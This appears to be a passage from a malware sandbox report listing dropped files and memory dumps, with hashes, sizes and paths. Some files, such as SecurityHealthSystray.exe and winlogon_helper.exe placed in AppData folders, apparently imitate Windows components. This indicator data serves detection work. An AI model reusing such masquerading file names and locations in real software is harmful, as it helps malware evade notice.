Size 5.0MB
SHA256 9f5c40dd195fef4963e7085ae3965958c866167be6e468a61ad0cf152f178cbb
MD5 7019685f5b4b7645933323d95b3036b2
SHA1 c325ea02a4092d3c7e106a29da159d4e1b012577
SHA512 ee8d814afc4d9cdb3328d0967781745377214c47e2be4034fc00ca937d82fd6f14aa11294155196c9d723a7ac03ab156af3f44405ff642ea307e25023426d8fe
SSDEEP 96:D4k1e/wAaF8M9Te9kjQruHtZroSzPFRPRYoa5Af22iV7qIsFw2iwRI7c2xfXsZ8I:M8rJQaXoMXp0VW9FxWHAApsetE8DZm
TLSH
T1A536101F7A201150C4DAA232ACE36F195C7F70169A3376933DA0256D4DE0B23B96DCBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SecurityHealthSystray.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Size 12.3MB
SHA256 f232e6049ddf1a6a7c9343be9c10b3a0792fca69b8a9543ea30d9d5a2194ffc0
MD5 20bf542347e62a95c0ef7adf81edab42
SHA1 d53a2773ff77db1167747289f93689b002cb918e
SHA512 638917e7aea8666d2efc360e57586d301cd173e7b384ace760d385b142f1b970634fcb7573b9ce57527118dd1f49e845aefa2cca3c3950da9e40e16568fb5e6a
SSDEEP 98304:CXwlhJ9FISTkFivrhgLE9z6u1uZkrnvVv+vpvz8HcAPsNV3cwWEets:CU/BQZ5x93ccws
TLSH
T1D1D63947E8A546E4D0AED135C66692237F713C884B3063D72BA0F6252F77BD0AEB9740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

winlogon_helper.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winlogon_helper.exe
Size 57KB
SHA256 1b7fbd2ddacfd6181c84f8f329a21615166e8bf44ecdc50d59d34e251031ef56
MD5 9a79b84ceeb7bcea7224621b3824aae8
SHA1 c7ac58bfbd0fffef7628bbfe063eeee93aace8e6
SHA512 01ffce4b320af3babaa0df052acda42ae7ff05e6bb2e59b8d71fcb01495c3568ae5da0959b32679550b24f3a95e5a295d874f81f2424ca48e30a43d87d4a12c0
SSDEEP 1536:3GBbYykV/4oRIc++wsTLtXwrA8NZSeCMJP5L5uof:3uYydc++wsTLttQZSWJP5L5uo
TLSH
T17643E83AE2B3809CC59BE3B5B6CB9DF1B621FD740070AB2E039446247F4B5645EBD285
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5984-245-0x000001F970510000-0x000001F970526000-memory.dmp

Download

memory/6108-12-0x00000214152B0000-0x00000214152C6000-memory.dmp

Download

memory/6108-9-0x0000021415320000-0x0000021415342000-memory.dmp

Download